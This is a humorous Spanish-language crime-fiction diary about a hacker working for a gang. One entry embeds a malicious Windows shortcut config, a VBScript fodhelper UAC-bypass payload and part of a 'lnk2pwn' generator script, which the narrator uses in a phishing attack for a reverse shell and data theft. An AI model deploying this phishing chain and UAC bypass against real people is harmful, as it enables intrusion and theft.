Jueves, 31 de Mayo de 2018: ¿Manipulación?

Querido Diario…

Hay muchas teorías de conspiración, hay muchos posts que salieron a raíz de la corrección y caída que dejaron en ruina a mucha gente; y como siempre muchas notas sobre que es una burbuja.

Eso es difícil de poder determinar, pero a un nivel de análisis técnico:

¿Dónde queda el ciclo del precio?, ¿acumulación, tendencia, blah, blah?.. ¿quieres ganar dinero?, programa un bot en Python usando el API de Bitso y ponte a operar en cada meseta y valle y listo; en un día con un capital de $5000 MX, gané $300 MX en un intradía de 7am a 3pm, no es mucho, pero si lo vemos en porcentaje nos da una idea de que aquí hay algo raro.

De hecho tenía un zoom a un día, pero se me borró y parecía un pulso de un LM555.

Incluso comparandolo con otras criptodivisas no se ve el mismo comportamiento…

¿Manipulación?

Querido Diario…

Lunes, 28 de Mayo de 2018: ¿Por qué Mom está tan feliz?

Querido Diario…

¿Cuantas veces has visto un helicóptero en Mexicali?; exacto.

- Joven, te van a matar - me dijo Lalo mientras me daba un golpecito en el hombro

- Hum... si, creo que si. Fue un placer trabajar contigo - le mire sonriendo; ambos sabemos que implicaba eso

- Te voy a extrañar, y no sabes cuanto. Demonios, pensé que me casaría y tendría una vida feliz y ahora tendré que volver a ser turbio e ilegal

- Nunca dejaste de serlo

- Pues no, pero ya no lo era como tú y ahora tengo que cuidar el changarro de nuevo

- ¿Tardará mucho? - interrumpió Janey aun en pijama

- Hum... no sé, ni siquiera sé donde haya un helipuerto

- ¿Pero sabe donde vives?

- Supongo, siempre lo sabe todo

Esperamos una media hora, mientras nos bañábamos, cambiábamos y entonces desde la terraza vi como se estacionó una camioneta gris con vidrios polarizados; y por la curvita de las llantas; sabía estaba blindada.

- Blindaje número 6; es el que le gusta

- ¿Qué significa?

- Que si anda parando un basukazo - dijo Lalo - ¿quieres que digamos algo a tu favor?

- Nah... un verdadero macho acepta su destino - y baje para abrir la puerta

- Oh Dios.. allí va un gran sujeto, lástima que es un traidor; sino los dioses tal vez le habrían dado espacio en el Anahuac.

Abrí la puerta, y le vi; siempre de traje azul, pasó y por un momento pensé recibiría un tiro; pero luego recapacité y; quienes me lo habrían dado estaban frente a mi.

- ¿Qué onda?

- Hola

- ¿Esto es Mexicali?

- Si

- Está cabr%& ¿no?

- Jugoso

- Y acá estas en un congelador, no mam%&/ - miró a su alrededor - ¿y ustedes que hacen aquí?

- Ahhh - no sabían que responder

- Me salvaron

- ¿En serio?

- Si, Karen volcó una camioneta y todo el asunto

- Excelente - nuevamente me miró a mi - ¿me invitas un omelette?

Mientras estaba en la cocina preparando omelettes para todos, y Janey me ayudaba a picar las verduras y deshebrar el queso; escuchaba una y otra vez como Mom le decía a ellos “no ma%&/ pero no mam$%& en serio este es el mejor omelette del mundo”.

Lalo entró a la cocina después de un rato.

- Tal vez no te mate, puede que te vuelva su sirvienta; creo que le gusta como cocinas

- Yo no me comería algo tuyo - dijo Janey - me muero

- Nah... este joven tiene experiencias raras; de montacarguista terminó siendo lugarteniente de la mafia; yo creo que si debe de saber que ped$%&

No dije nada, no podía expresar nada. Le di a Lalo agua caliente y un colador de té "fancy" que me regaló Dania Pelo Morado,  y se volvió a ir al comedor, donde estaban Beto, Luis y... Mom.

Esto era realmente incómodo, estaba preparando el desayuno a unos minutos de mi muerte. Incluso mientras miraba hacia el patio empecé a imaginar como escapar; podía correr hasta el patio trasero encender el coche y romper la reja. Salir manejando a toda velocidad; seguro una camioneta blindada jamás me alcanzaría. En cuanto tuviese internet movería todo mi dinero a cripto y entonces viviría como un hippie siendo un montacarguista.

Ouuu… tuve un flashback de mi comiendo mucha avena en un cuartito de 2m por 3m y yo durmiendo en el suelo usando mi sudadera como almohada. Tal vez la muerte no era tan mala idea.

Terminé los omelettes, hice unos caramelos de queso y agregué un toqué de pimiento; adoró el sabor del pimiento; siempre es como muy fresco, le da un sabor fresco a la comida; y a los caramelos de queso un poco de salsa inglesa. Les serví a todos jugo de naranja y le puse un toquecito de agua mineral.

- Pues, comamos

- ¡No mam$%&, no mam$%&! - se empezó a poner rojo, ¿ahora si lo abre envenenado?... ¡ay ya valió! - te lo dije Candia, te lo dije

- Psss... psss si se rifa

- Güe$%& ¿qué ped$%&?, ¿dónde aprendiste a cocinar? - Janey sonreía mientras masticaba

- Sabe bueno, pero yo creo que la neta me va a dar chorro; no sé por qué - dijo Luis

- Tienes mala suerte, pero bueno creo que Belindo tiene futuro si pone una fondita - le respondió Beto

- ¿Cómo es que aprendiste a cocinar? - preguntó Beto ya más seriamente

- Hum.. leyendo y en vídeos; he pasado una mala vida, así que creo que la comida es la última cosa alegre que me queda. Es la forma en que puedo mostrarle a los demás mi aprecio y, cuando me siento sólo preparo algo y recuerdo que alguna vez fui feliz

- Pero eres turbio e ilegal

- Ouuuu no, no siempre fui así. Antes era feliz

- ¿Es en serio? - le preguntó Lalo a Janey

- No sé, yo ya lo conocí así... bueno, no era tan mala persona y hablaba caga%&/; ahora si es un hijo de la chin$%& pero no sé

- Hum... no creo que alguien se acuerde de mi antes

- Se equivocan; alguien que cocina así y tiene un perro, no puede ser tan malo - interrumpió Mom mientras iba cruzando Shellcode por sus croquetas; después de eso ya nadie dijimos nada

Terminamos de desayunar y recogí los platos en el fregadero, para que el miércoles la Señora Belén los lavase. Les preparé unos pisco sour del pisco que traje de Lima. Y mientras todos se quedaron en la sala jugando con Shellcode, Mom y yo subimos a platicar a la terraza.

- ¿De verdad me rechazaste Miami por esto?

- Si

- ¿Por?

- Hay comida china, mucha carne, todo es muy barato y en la tarde el cielo se pone morado

- Hum... pu$%& cab$%& no te entiendo

- ¿Quieres que te diga que pasó?

- No, yo ya sé que pasó

- Ouuuu - cerré los ojos, venía el disparo - ¿entonces?

- Ahora tenemos dos competencias más grandes que nosotros encima

- Si

- ¿Qué tan grande es?

- Menos que los extranjeros, pero si es grande

- ¿Entraste a todo?

- A todo

- Excelente. ¿Qué sigue?

- Hum... con los extranjeros tenemos el vector de ataque que no hemos explotado con Memo

- ¿Quién es Memo?

- Memo, trabajo para ti antes que yo

- Ahhh ese Memo - puso cara de no saber de quién estaba hablando

- Es la única idea que se me ocurre... con ella... hum... aprovechar el enojo que tiene ahorita; seguro cometerá muchos errores. Hacer las cosas bien, e ir creciendo... confío en el equipo

- Si, yo también - se quedó pensativo - es una oportunidad de oro cab$%& tienes total libertad

- Pero... 

- ¿Qué?

- Esto estuvo un poco mal, ¿no?

- Pues... a veces se toman riesgos; y tu tomas muchos.

Bajo y se despidió de todos, bromeo y finalmente vi como la camioneta se alejaba de mi casa.

- Joven

- ¿Eu?

- ¿Por qué Mom se ve tan feliz?

- No sé, yo te iba a preguntar lo mismo

- Con todos los años que tengo de conocerlo estaba esperando un "Candía, sube y métele tres tiros en la cabeza"

- Si, yo pensaba lo mismo; ya hasta tenía una corbata lista para vendarme y que no te diese cosa verme a los ojos mientras me disparabas

- Nah, somos turbios e ilegales; pero tenemos honor... bueno, tú casi no, pero si te tengo que matar, te voy a matar de frente

- Gracias... creo

- Pero... ¿por qué está feliz?, en esta situación debiese de estar bien pin%&/ encabron&/(

- Ajá

- ¿Hay algo que sepas que no nos has dicho?

- Noup... ahora no joven; estoy tan sorprendido como tú

- Ouuuu que miedo

Nos quedamos un rato en la terraza, y yo saqué un Pampero que traje de Caracas; tenía tiempo que no pasábamos juntos; desde aquella vez que Janey y Beto compitieron; Janey me soltó un puñetazo en la nariz, y Luis encontró el amor al ritmo de “cri-criminal, cri-criminal” mientras Lalo y yo bebíamos “el licor de la casa”, que casi nos deja ciegos.

Ya cuando estábamos muy relajados y alegres, Janey se me acercó.

- ¿Cómo estas?

- Hum.. habría que acotar un poco el alcance de esa pregunta

- ¿Cómo estas "laboralmente"?

- Ouuu.. pues, pásandola.. creo.. ósea, se ve oscuro nuestro futuro; pero... somos turbios e ilegales, y yo tengo mucha suerte

- Hum... cual es el plan?

- De la información que obtuve, sé que esta muchacha tiene su operación en una cafetería llamada Garko, cerca de Insurgentes

– ¿Luego?

- Sabemos que es un café hispter, por lo tanto me disfrazaré de hipster para entrar y no ser descubierto

- Si ese tal Cesar te conoce, ¿no crees que es como medio lógico que te va a identificar?

- No, porque me disfrazaré como hipster, ya lo tuve que hacer una vez y funcionó

- A ver

- Mira

- Güe$%%& sólo te pusiste unos lentes

- Pero son unos lentes hipster - Janey empezó a mover la cabeza

- Te van a matar

- ¡Naaaaaah! es un gran plan

- ¿Y luego?

- Luego entró, buscó un nodo de red, me conectó, hackeo todo y listo; estoy dentro

- ¿Cómo?

- No sé, lo resolveré en el momento, ya sabes, nmaps, nessus, pwdump y listo

- ¿Pwdump?

- Si

- No mam"·$%... ¡Belindo!, eso tiene años de no usarse

- ¿Cómo que no se usa?

- Güe"·$%... creo que mi abuela uso eso para sacar hashes de Windows 2003

- Ajá... 

- Dios, estas muerto - y se levantó y se fue

- ¿Qué? - en ese momento entró Beto

- Joven ya se nos acabó el alcohol, ¿donde conseguimos más?

- Ouuuu hay un Walmart cerca, yo los llevo

- Vale

- Oye

- ¿Qué?

- ¿Es verdad que ya no se usa Pwdump para sacar hashes?

- ¿Pwd qué?

- Olvídalo... vamos por ese alcohol

Querido Diario… tienen razón; no tengo la menor idea de que hacer en esta ocasión D: … tal vez necesito unas buenas vacaciones…  con mucho alcohol y muchas tortas ahogadas… si; seguramente eso me hará mejorar mis ideas.

Miércoles, 24 de Mayo de 2018: Ley Augustiana #17

Querido Diario…

¿Sabes lo normal que es que la gente deje en su escritorio un archivo de Excel llamado “estados de cuenta.xls” o un TXT que diga “passwords.txt”. Bueno, es algo común 😛

Hice una copia en Dropbox, una en iCloud, puse un Pastebin “privado” y copié en el USB todo… y me fui a Mexicali sin preocuparme porque me pasaría después. La tenía acorralada.

Aun así por las dudas busqué ayuda en alguien de confianza por si acaso, pero me di cuenta que las cachanillas son un poco coyonas.

Pero… ¿qué podía pasar?, tenía toda su información, estaba acorralada, yo en un vuelo a Mexicali…

Querido Diario… los mafiosos son todos unos caballeros, racionales, lógicos, sabemos entender… las mafiosas son mujeres; no conté con eso, ellas no conocen los arreglos entre caballeros.

Iba manejando tranquilamente por Justo Sierra escuchando un poco de Mozzart.

Cuando a la altura del monumento a Juárez cuando me di cuenta que una Cherokee me venía siguiendo. “Novatos”, pensé. Imaginé serían cachanillos siguiéndome y confié en mis habilidades chilangas, pero no… por más que intenté librarme de la cola evidentemente no eran cachanillos, manejaban demasiado bien para serlo.

Pasando el Carl’s Jr di vuelta en la primer calle, intenté perderlos entre la fila de coches que se van formando para el relajo, pero antes de llegar a la primer paleta se me cerró otra camioneta más. Sólo puede más que frenar y cuando iba a dar vuelta estaba rodeado por cuatro tipos armados con M16.

Nuevamente volví a cometer el mismo error. Bajé del coche con las manos levantadas, mostré que no estaba armado y esperé a que las buenas costumbres y caballerosidad terminasen en que me subirían al asiento trasero, me pondrían una bolsa de tela y simplemente me llevarían. Pero no, ¡viejas, todas son iguales!, sólo sentí un golpe en la cabeza y todo se volvió oscuro.

Abrí los ojos y sólo vi el techo del coche y distinguí que estábamos en movimiento. Intenté ponerme sentarme pero de nuevo sentí un golpe; y todo se volvió oscuro.

Abrí los ojos y volví a mirar el techo del coche, pero en esta ocasión ya no estábamos en movimiento y al girar me di cuenta que no sólo no estábamos en movimiento; sino que además estábamos de cabeza. Miré hacia el otro lado y los cuatro tipos estaban cubriéndose con la otra camioneta mientras le disparaban a algo.

Sólo sentí de pronto un jalón y vi como uno de los tipos giraban hacía mi apuntando; y de atrás escuché varios disparos; y alguien puso un arma en mis manos; que por mero instinto tome, quité el seguro y le hice un agujero al Hugo Boss del tipo que me apuntaba con el arma. Giré con la intención de volarme la cabeza al tipo pero me detuvo la cara del tipo con peor suerte del mundo que conozco.

- ¡Que tranza Belindo!
- ¡Joven!, apunté para allá, no para acá... psss ¿cómo le explico que los malos son ellos? - me decía la voz de Beto

Lo único bueno que he aprendido en los últimos meses había sido justamente eso; disparar. Y disparé. Aunque en realidad no le atiné a nada, cuando llegó un coche más y nos aventamos dentro.

- ¿Qué hacen aquí?
- Pues Karen nos dijo que había muchas probabilidades de que te matasen y pues... la verdad no queríamos venir, pero ya sabes como se pone - dijo Luis
- Además nos dijo que eres un traidor, mal amigo, sin honor y cosas peores - Dijo Beto

Yo sinceramente aun no entendía mucho, pero veía como nos intentaban seguir mientras Janey manejaba a toda velocidad

- Nos van a alcanzar - exclamé
- Estas chavo, chavo... soy de Iztapalapa tengo barrio, ¿quién crees que volcó la camioneta donde ibas? - dijo Janey mientras volvía a salir sobre Justo Sierra

Todo había pasado muy rápido, ni siquiera me había dado cuenta que tenía un chichón en la cabeza; y ya que al fin llegamos a una calle y nadie nos seguía, estallamos en risa.

- Gracias... - dije al fin
- Joven, usted si es todo un caso - me respondió Beto
- ¿Por?
- Pues justo cuando decimos "ya no puede caer más bajo", caes más bajo. Te tenía acá - dijo mientras ponía su mano a la altura de la rodilla - y ahora te tengo hasta acá - tocó el piso
- Pero, pero... no sé que pasó todo estaba bajo control; tengo la información financiera, los puedo hundir
- Pero no puedes confiar en una mujer - dijo Luis
- Si, la neta si, pin%&/ viejas son unas perras - dijo Janey
- Pero tú ere.. 
- Psss por eso gü%&/ - me interrumpió - yo se acá que ped$%&
- Bueno, gracias... 
- Joven, tengo una llamada para usted - me dijo Beto mientras me pasaba su celular
- Bueno - respondí
- Joven, vengo manejando un coche muy gay... ¿es en serio?, ¿automático?, #decepción #deshonor #tradición - me sentía muy alegre de escuchar esa voz

Querido Diario… Ley Augustiana #17: “Viejas, todas son iguales”.

Martes, 23 de Mayo de 2018: A las malas mujeres siempre las alcanza el karma

Querido diario…

Los días se han vuelto oscuros; he llegado a pensar que el favor está saliendo demasiado caro.

- Ven - me despertó el sonido del celular
- Hum... es de madrugada
- No te pregunté, te lo ordené
- Dice Waze que tardo 30 minutos
- Ve a Polanco, mandaré a mi helicóptero por ti

Mientras viajaba por el cielo de la ciudad me preguntaba por cuanto tiempo resistiría así. No había pasado más de una semana, cuando intentó ofrecerme cualquier cosa que quisiese con tal de irme con ella y dejar a Mom. En forma de broma le pregunté si me cambiaría por Cesar, su lugar teniente y me dejaría a mi; a lo que ella se mofo:

- Cesar es un hombre de negocios, tú sólo eres mi juguete
- Hum... entonces creo que debo de rechazar, junto a Mom coordino las operaciones de una H. Organización Turbia e Ilegal - dije con gran presunción
- Y es justo por eso que mi único interés es en lo que tus manos suaves pueden hacer; no tienes nada que ofrecer. Cesar me genera más beneficios de lo que tu lograras antes de que alguien te mata un tiro en la cabeza. Así que neneco, deja ya de tonterías y acepta para lo único que me sirves.

He de admitir que eso me había dolido, en el ego. Después de esa noche pensé regresar y coordinar a todo lo que estuviese disponible para olvidarnos del trato, y lanzarme contra ella. Ya vería después los problemas que tenemos; en ese momento lo único que quería demostrarle era que no sabía con quién se estaba metiendo.

Pero.. por desgracia cuando intente hacerlo, un #juevesdealitas se nos cruzó.

Debo de admitir que fue una pésima noche de la cual, básicamente no recuerdo nada. Pero; al despertar, después de que un perro llamado Chisco me babease, pude pensar con mayor claridad.

Ok, a quién quiero engañar. Me la pasé ese día todo el tiempo muerto bajo las cobijas. Pero un día más tarde, entonces si; pude pensar con claridad. Y no sólo eso, sabía que debía de hacer algo para demostrarle a esa mala mujer con quién se estaba metiendo. Pos this one.

Dejaría a un lado la tecnología avanzada, o los tehuacanazos; tendría acceso a toda su operación a través de una de las formas más tontas; todo a propósito con tal de demostrarle en donde se quedaba ella y su GRAN Cesar. ¿Mom?, oh si… probablemente no aprobaría esto; pero… como dicen por allí, más vale pedir perdón que permiso.

Lo que hice fue un simple phishing. No puede haber cosa más humillante que recibir el correo del hijo perdido del principe de Nigeria que a través de Hotmail a buscado a miles de personas, hasta que encuentra un alma caritativa que quiere ayudarle a recuperar su herencia. Para ello, primero programe un pequeño template con JSON, el cual sería utilizado para cargar un short cut. ¿Por qué?, bueno; porque hoy en día Microsoft es demasiado complicado de comprometer por estos métodos debido al UAC; incluso si te consigues a una rusa, rubia, güera, alta y pechugona; que te programe un malware y llegas a conseguir que el usuario sea lo suficientemente ingenuo para dar click en ejecutar la pantalla azul gigante de warning de Windows:

Pues la realidad es que el malware se ejecutaría con privilegios del usuario que este usando esa computadora; lo cual usualmente es un usuario no administrador; que no logrará mucho. Pero, ¿un short cut?, todo mundo los usa y con ellos se puede hacer de todo 😛

Esa fue mi razón, primero que nada preparé el JSON… ¡ah! cierto, también use JSON, porque está de moda, en realidad pudo ser simplemente un TXT 😛

{
 "shortcut": {
 "target_path": "C:\\Windows\\System32\\cmd.exe",
 "working_dir": "C:\\Windows\\System32",
 "arguments": "/c notepad.exe",
 "icon_path": "C:\\Windows\\System32\\notepad.exe",
 "icon_index": null,
 "window_style": "MINIMIZED",
 "description": "te voy a jackiar maldita",
 "fake_extension": ".txt",
 "file_name_prefix": "te voy a jackiar maldita"
 },

"elevated_uac": {
 "file_name": "uac_bypass.vbs",
 "cmd": "cmd.exe"
 }
}

Básicamente la idea es lanzas un short cut (.ink) que descargue y ejecute un payload, el servidor remoto entrega el payload que tiene como objetivo bypassear la UAC; se ejecuta, cambia las llaves del registro, abre una conexión y lanza una shell inversa.

Si, hasta un con netstat se podrían dar cuenta que estoy dentro; pero justo era lo que quería; ella sabría que no sólo mis dedos sirve para hacerle grita… digo para jugar domino; también sirve para entrar a computadoras ajenas.

El payload es el siguiente:

Const HKEY_CURRENT_USER = &H80000001

Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName = ""
Const DefaultRegKeyValue = "%s"

Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"
Set Registry = GetObject(RegObjectPath)

Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue

Set Shell = WScript.CreateObject("WScript.Shell")
Shell.Run FodHelperPath, 0, False

¿Qué por qué Visual Basic Script?… grr.. .¿ya mencioné que me quiero burlar de ella haciendole quedar en ridículo?

Y finalmente podemos todo junto en nuestro short cut:

import os
import sys
import argparse
from utils.log import Log
from utils.ioutils import IOUtils
from cmd.cmdstrategy import CommandStrategy
from utils.clihelpformatter import CliHelpFormatter

parser = argparse.ArgumentParser(
 prog="lnk2pwn.py",
 usage="python lnk2pwn.py <options>",
 formatter_class=CliHelpFormatter
)

parser.add_argument(
 "json_config",
 nargs="?",
 help="the shortcut json config"
)

parser.add_argument(
 "-g",
 "--generate",
 action="store_true",
 help="generates a malicious shortcut file(default is True)"
)

parser.add_argument(
 "-c",
 "--config-file",
 metavar="",
 type=argparse.FileType('r'), 
 help="the shortcut config file"
)

parser.add_argument(
 "-o",
 "--output-path",
 metavar="", 
 help="the output path"
)

parser.add_argument(
 "--version",
 action="version",
 version=__version__
)

parser.set_defaults(generate=True)
parser.set_defaults(config_file="config.json")

def main(args):
 """
 Executes the lnk2pwn cli tool
 Parameters
 ----------
 args: Namespace
 The cli arguments
 """

try:

executor = CommandStrategy.resolve(args)
 executor.execute(args)

sys.stdout.close()
 sys.stderr.close()

except KeyError:
 parser.print_help(sys.stderr)
 sys.exit(1)
 
 except ValueError as error:
 Log.error(str(error)) 
 sys.exit(1)

if __name__ == "__main__":

try:

json_config = None

if IOUtils.is_piped_input():
 json_config = IOUtils.read_piped_input()

cli_args = parser.parse_args()
 cli_args.json_config = cli_args.json_config or json_config

main(cli_args)
 
 except KeyboardInterrupt:
 sys.exit(1)

Y lo mandé por correo; y entonces si… me subí a ese helicóptero. Al llegar miré los látigos, el cuero; y ella salir con botas negras.

- Hola
- Hola neneco; te quiero de rodillas
- Antes de eso, quiero decirte algo - lo dije de la forma más sería que pude
- ¿Qué?
- Hable con Mom y creo que podría dejarme ir, pero quiere tener una llamada contigo por Gotomeeting
- ¿Ahora?
- Le dije antes de subir
- Bien, pero la veré en la computadora; odio la señal de 4G

Abrió su computadora, intentó ejecutar el link y no le funcionó; se volteó a mirarme y yo lo único que pude hacer fue inhalar lo más profundo que pude y me le fui a comerle la boca. Le dije que después lo vería con Mom.

Después de cuatro horas salí, con el pretexto de fumar un cigarro. Entonces le marqué a Janey.

- ¡Janey!
- ¡Belindo!
- Dime que si
- Cayó
- Bien
- Oye, pero ¿qué estas haciendo?, dime; eso no se hace; eres un traidor
- Luego hablamos de mi calidad moral; en este momento ya pasó lo más importante. Descarga todo lo que puedas
- Ya
- ¿Ya qué?
- Pues ya
- ¿Y?
 - Creo que mejor te vienes... digo, este, creo que mejor le caes
- [Inserte emoticón pensante aquí]

Se metió con la persona equivocada.

Querido Diario… tengo una canción en el subconsciente y no me la puedo sacar.

Ajá 😛

Domingo, 13 de Mayo de 2018: #traición #decepción #deshonor

Querido Diario…

Después de llegar al aeropuerto, Mom se perdió entre la multitud para atender sus negocios; mientras yo fui a casa a descansar un poco; y pensar. Sólo me encontré con una solución, y como siempre, actué sin pensar mucho.

Lalo parecía que me estaba esperando, así que lo hice complice de mi pésima idea.

Sentado allí, frente a ella, a su merced; sentía que no había sido la mejor decisión que había tomado, pero ya lo había hecho.

Ella enmarcaba sus rasgos finos con un cabello un tanto despeinado a propósito; vestía un entallado vestido negro no tan corto pero no tan largo, que le hacía ver muy elegante. Lo suficiente para sentirme más intimidado por como se veía, que por sus guardaespaldas bien armados. Mi manía de ver las manos, ella la había pasado; tenía manos delicadas y cuidadas; con un color de uñas sobrio, sin exageraciones. Su perfume era demasiado empalagoso para mi gusto. Sus movimientos eran tan llenos de seguridad que se veían seductores. Tenía mucho tiempo que no había sido intimidado de esa forma; y al  mismo tiempo me daba cierta confianza.

Al entrar su guardaespaldas no me habían desarmado. De todas formas poco habría podido haber hecho frente a esos tipos de dos metros con brazos más grandes que el grosor de mi pierna; portando sus M16.

Desde que habíamos llegado hablamos poco y fuimos al punto; nos sirvieron la comida. Aguachile de habanero, era delicioso; pero no lo estaba disfrutando, me sentía tan intimidado por ella que empecé a cuidar en exceso mis modales, haciéndome muy torpe.

Mientras yo luchaba por clavar un camarón con el trincho, ella rompió mi introversión.

- ¿Entonces?, ¿qué piensas?
- No dijiste que no; sólo dijiste que no pasaría muy rápido
- ¡Que terco eres! - hizo una pausa - eso me gusta de ti
- ¿En serio? - me sorprendió ese comentario - ¿puedes ir a decírselo a mi mamá?, ella opina lo contrario
- ¿Te gusta el mezcal? - me preguntó mientras se sentaba en la silla de mi derecha, y con sus dedos tomó el camarón que tanto se me había escapado y me lo dio en la boca
- No realmente
- Tal vez no has probado uno bueno - y con una mano ordenó que nos fuesen a servir un par de caballitos

Un mesero llegó y nos entrego un par de caballitos y rodajas de naranja con sal de gusano. Eso me asustó más, lo peor que podría pasar es terminar borracho con ella.

Levanto su mano y me hizo una señal de salud para bebernos todo el mezcal de un tiro.

- ¿Y?
- Sigue sin ser mi preferido

Esas palabras notablemente la desilusionaron.

Se acercó a mi, demasiado. Me desabrochó la camisa y desanudo mi corbata. En ese momento no pude distinguir si estaba seduciéndome o me iba a cortar la garganta; pero no me moví en lo más mínimo. Metió su mano y sacó el anillo, lo miró y luego volvió a meterlo entre mis ropas y de un tirón me ajustó la corbata.

- Que bonito gesto

Se levantó y fue ella misma a la barra por la botella. Se sirvió otro caballito de mezcal y empezó a caminar alrededor de la mesa.

- He escuchado un poco de ti, y cuando me dijiste que vendrías ordené que te investigasen. No las cosas que ya todos saben... una investigación un poco más personal
- ¿Y qué tal?
- ¿Cuanto te paga Mom?, yo lo duplicaré
- No estoy aquí por eso, ya sabes lo que quiero
- Y ya te dije que no lo tendrás ni fácil ni pronto; o tal vez ni lo tengas. ¿Por qué estas con él?
- Tenemos un acuerdo 
- ¡Hombres!, y su honor... me aburren. Las mujeres somos mejores en los negocios; no seguimos códigos sin sentido. - hizo una pausa y se acercó dema... suficiente, y me dijo al oido - Dame dos semanas.

Dos horas después bajé y me despedí de la hostess, y caminé tranquilamente hacia donde estaba el coche. Al verme llegar Lalo salió.

- Joven, ¿estas vivo?, ¿cigarro?
- Si, esta vez te lo acepto
- ¿Cómo te fue?
- Bien, creo.. en dos semanas nos ayudarán
- Hum... - empezó a dudar - es mucho tiempo joven. ¿Qué haremos mientras?
- Usar nuestros propios recursos, aun tenemos la carta con Nemux

Mientras estábamos los dos recargados en el coche fumando, le pude ver acercarse a la ventana y hacer un gesto con la mano. Lalo me interrumpió el divage

- Joven, tienes manchado el cuello de la camisa con lápiz labial
- Ouuuu - intenté limpiarme mientras al girar vi la mirada inquisitora de Lalo - ¿qué?
- ¡No!
- No podemos solos
- Joven, eso está muy mal... eso es traición, deshonor... que decepción joven; jamás lo creí de ti. No, no, no... acabas de perder toda credibilidad que tenía en ti; y eso que ni tenías credibilidad.
- A veces hay que hacer lo que hay que hacer
- ¿Y qué tanto hubo que hacer?
- Nada no tan malo
- Oh demonios, joven... 
- ¿Qué?
- ¿Brasileña o afro?, ¿tanga o cachetero?, ¿encaje o algodón?
- Eres un puerco... - dije, mientras tiré el cabo del cigarro y le hice seña para que nos fuésemos - hay que apurarnos, tenemos que todavía de ver cuales son los avances del Becario y el Becario con esteroides.
- Esos detalles son necesarios para armar el perfil psicológico. No sabemos con quién nos estamos asociando
- Ajá
- Si, lo vi en CSI
- Ajá
- Es una loca, adinerada que tortura a la gente. Es más, tu deberías estar muerto... o tal vez te va a matar proximamente; o puede que no y tal vez te quiera secuestrar. 
- Hum... eso puede que si, pero no por lo que estas imaginando - para despejar las dudas de Lalo, puse una canción en la radio

Manejamos todo Insurgentes para llegar a la oficina. Todo el camino Lalo se pasó dándome un sermón sobre el honor, la dignidad, el orgullo y todas esas cosas que usualmente omito. Llegamos a la oficina y entregamos el coche al valet, subimos y encontramos todo a media luz. Cruzamos la puerta de acero blindada y entonces vimos al Becario y el Becario con esteroides trabajando arduamente.

Al acercarme me di cuenta que en realidad estaban viendo Netflix.

- ¿Qué tenemos muchacho?
 - No mucho joven - me respondió Lalo 2 - intentamos contactar a una empresa que se llama IntacticPhone, nos hicieron la presentación y todo, se ven pro.

- ¿Entonces necesitamos comprar eso? - pregunté
 - Ese es el problema joven, $6000 dólares cada equipo; y necesitamos diez
 - Ouuu.. eso si es un problema. Becario con esteroides; ¿cual es la opción B?
 - ¿Qué tranza boss?, veo esos triceps adelganzando y de nuevo noto la panza
 - Ouuu... he estado un poco..
 - Enamorado - interrumpió Lalo
 - Ocupado
 - Haciendo cosas que no debe con quién no debe - volvió a interrumpir Lalo
 - En pos del bien común
 - Creo que ustedes se traen algo raro - dijo Lalo 2, mientras se nos quedaba mirando muy raro
 - Sigamos... Becario con Esteroides, ¿algo que tenga que ver con la tarea?
 - Ah, pues si... creo que nuestra mejor opción es preparar nuestros propios teléfonos; que sean de bajo costo, porque los vamos a abandonar; y realizar el aseguramiento sobre la red de telefonía normal. No creo que sea la mejor idea, pero tampoco la peor.
- ¿Qué necesitamos hacer para eso?
- Bueno, estuve probando con un celular viejito que tenía, un OnePlus; lo que hice fue descargar de Kali Linux el fork de Nethunter. Es una versión de Kali pero para ARM, la encontré en https://www.kali.org/kali-linux-nethunter/ ... sólo recuerda respaldar todo, porque perdí mis packs. 
- Ouuuu... - pelé los ojos - ¡respaldos muchacho!, ¿qué más?
- Bueno pues primero hay que entrar en el modo ingeniero; para eso hay que apachurrarle el [Inicio] y [Bajar volumen] y planchas la imagen de fabrica. Al mismo tiempo descargas las SDK tools para Windows
- ¿Windows? - dije 
- Si, Android, no creo que en tú Mac funcioné
- Hum... sigue
- Bueno, pues ya que configuramos todo vamos a flashear el celular
- Este procedimiento es complejo joven - dijo Lalo 2 - yo lo aprendí en mi curso de Análisis Forense
- ¿En la UNAM? - pregunté
- No, en la Plaza de la Computación, con el greñas. Esta bien chido
- Ouuuu ok - a veces me sorprende nuestro nivel de especialización - sigue
- Pues conectas el celular, esperas a que lo detecté y te vas al folder donde descargaste el firmware. Y entonces correr el script de flash-all.bat

- Ya que quedó, lo reinicias y entonces inicias el celular como si fuese nuevo. Lo configuras y todo el asunto; y activas el modo desarrollador, desde Configuración > Acerca del dispositivo y allí donde aparece el número de compilación le picas ocho veces hasta que salga el mensaje de que eres programador
- ¿Es en serio?
- ¿Qué?
- ¿Así activas el modo de desarrollo?
- Si
- Con razón Android es tan malo, bueno... sigue
- Ya que eres desarrollador, vas a Opciones del programador > Depuración por USB -> Aceptar y ahora reinicias el celular. Cuando vaya a aprender de nuevo entras al modo ingeniero. Ya que reinicio te vas a la computadora y escribes:
> fastboot devices
> fastboot oem unlock
> flashrecovery imagen.img
- Luego vuelves al celular y entonces seleccionas Recovery Mode, seleccionas Super Su, te vas a Advance y seleccionas ADB Sidebar; y esperas. En este momento esta esperando; vas a la computadora y pones:
> adb sideload supersu....zip
- Y esperas... y esperas y esperas...

 

- Ya que terminé vas a ver que esta instalado el Super su. Ahora mueves e Nethunter directo con el .zip y lo pegas en la tarjeta. Ya cuando está en el celular reinicias en Recovery Mode y le das click en instalar. Te va a pedir las aplicaciones que quieres instalar; y aceptas.

- Luego reinicias y listo, te pide permisos y todo eso.

- Hum.... - me quedé pensando - ¿qué opina joven?
- Ahhhh pues... chance y pega - opinó Lalo
- ¿Cuanto cuesta?
- Un OnePlus medio magullado en Mercado Libre; unos $2000 o $3000
- ¿Dólares?
- Pesos
- Ok, hay que comprar los diez. ¡Becario!, tarjeta - le dije a Lalo 2
- No joven, ya pasamos por esto una vez y no me pagaste
- ¡Becario!
